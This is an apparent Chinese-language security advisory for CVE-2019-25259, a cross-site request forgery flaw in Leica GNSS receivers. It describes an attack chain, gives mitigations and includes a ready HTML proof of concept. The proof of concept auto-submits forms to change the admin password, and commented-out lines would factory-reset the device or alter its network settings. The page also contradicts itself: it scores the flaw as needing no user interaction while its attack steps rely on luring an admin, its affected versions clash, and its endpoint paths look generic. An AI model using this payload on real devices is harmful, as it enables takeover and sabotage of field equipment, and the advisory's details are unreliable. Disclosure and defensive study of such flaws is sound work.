IPBUF安全漏洞报告
English
CVE-2019-25259 CVSS 5.3 中危

CVE-2019-25259: Leica Geosystems GNSS 设备CSRF漏洞

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2019-25259
漏洞类型
跨站请求伪造(CSRF)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Leica Geosystems GR10/GR25/GR30/GR50 GNSS接收器

相关标签

跨站请求伪造CSRFLeica GeosystemsGNSS接收器GR10GR25GR30GR50Web管理界面认证绕过

漏洞概述

CVE-2019-25259是影响Leica Geosystems GR10、GR25、GR30和GR50 GNSS接收器固件4.30.063版本的一个跨站请求伪造(CSRF)漏洞。该漏洞允许未经身份验证的远程攻击者通过诱导已登录的管理员用户访问恶意网页,在用户不知情的情况下执行未授权的管理操作。Leica Geosystems是一家知名的地理空间测量设备制造商,其GNSS(全球导航卫星系统)接收器广泛应用于测绘、建筑和工程领域。由于该设备通常部署在关键基础设施和专业测量场景中,攻击者成功利用此漏洞可能导致设备配置被恶意修改,影响测量数据的完整性和可靠性。漏洞的CVSS评分为5.3(中危),主要因为其攻击复杂度低且无需用户交互,但仍受到机密性和完整性影响较低的限制。

技术细节

该CSRF漏洞源于Leica Geosystems GNSS Web管理界面缺少有效的CSRF令牌验证机制。攻击者可以创建一个包含自动提交表单的恶意网页,当已登录的管理员访问该页面时,浏览器会自动向目标设备发送已认证的请求。由于Web应用无法验证请求的来源是否合法,攻击者的恶意请求将被当作合法操作执行。攻击者通常针对设备的管理功能,如修改网络配置、重置设备或更改管理员凭据。由于GNSS接收器通常使用默认或简单密码,且管理接口长期暴露在网络中,这使得攻击更加可行。攻击成功的关键在于利用用户已建立的会话 cookie,而不需要直接获取凭据。

攻击链分析

STEP 1
步骤1: 侦察和信息收集
攻击者识别目标Leica Geosystems GNSS设备,确认设备型号(GR10/GR25/GR30/GR50)和固件版本(4.30.063),并定位管理Web界面的URL
STEP 2
步骤2: 制作恶意页面
攻击者构造包含针对设备管理功能的恶意HTML表单页面,这些表单会自动提交到目标设备的Web管理接口
STEP 3
步骤3: 社会工程攻击
攻击者通过钓鱼邮件、恶意链接或其他社会工程手段诱导已登录的管理员用户访问恶意网页
STEP 4
步骤4: CSRF请求执行
当管理员浏览器加载恶意页面时,自动向目标设备发送携带有效会话cookie的POST请求
STEP 5
步骤5: 未授权操作执行
设备Web应用缺少CSRF验证,错误地将攻击者的恶意请求识别为合法操作并执行,如修改密码、配置变更或恢复出厂设置
STEP 6
步骤6: 持久化控制
如果攻击者修改了管理员密码,将获得设备的持久访问权限,可进一步进行数据窃取或破坏测量作业

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2019-25259 CSRF PoC - Leica Geosystems GNSS --> <!DOCTYPE html> <html> <head> <title>Leica GNSS CSRF PoC</title> </head> <body> <h2>Malicious CSRF Page</h2> <p>This page demonstrates the CSRF vulnerability in Leica Geosystems GNSS devices.</p> <!-- Change Admin Password --> <form id="csrfForm" action="http://TARGET_IP/admin/password_change.cgi" method="POST"> <input type="hidden" name="current_password" value="original_password"> <input type="hidden" name="new_password" value="hacked123"> <input type="hidden" name="confirm_password" value="hacked123"> </form> <!-- Factory Reset --> <form id="resetForm" action="http://TARGET_IP/admin/reset_factory.cgi" method="POST"> <input type="hidden" name="confirm" value="yes"> </form> <!-- Modify Network Settings --> <form id="networkForm" action="http://TARGET_IP/admin/network_save.cgi" method="POST"> <input type="hidden" name="ip_address" value="10.0.0.100"> <input type="hidden" name="subnet_mask" value="255.255.255.0"> <input type="hidden" name="gateway" value="10.0.0.1"> </form> <script> // Auto-submit all forms document.getElementById('csrfForm').submit(); // Uncomment below lines to execute additional attacks // document.getElementById('resetForm').submit(); // document.getElementById('networkForm').submit(); </script> </body> </html>

影响范围

Leica Geosystems GR10 固件 < 4.30.063
Leica Geosystems GR25 固件 < 4.30.063
Leica Geosystems GR30 固件 < 4.30.063
Leica Geosystems GR50 固件 < 4.30.063
Leica Geosystems GNSS 固件版本 4.30.063

防御指南

临时缓解措施
在厂商发布修复补丁之前,建议采取以下临时缓解措施:1) 避免使用Web管理界面访问设备,或在使用后及时登出;2) 不要点击来源不明的链接,尤其是那些包含设备IP地址的链接;3) 将GNSS设备的管理网络与其他网络隔离,限制对其Web接口的访问;4) 启用设备的物理安全措施,防止未授权人员直接接触设备;5) 监控设备日志,关注异常的认证和配置变更行为;6) 考虑使用VPN或专用网络连接来访问设备管理界面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表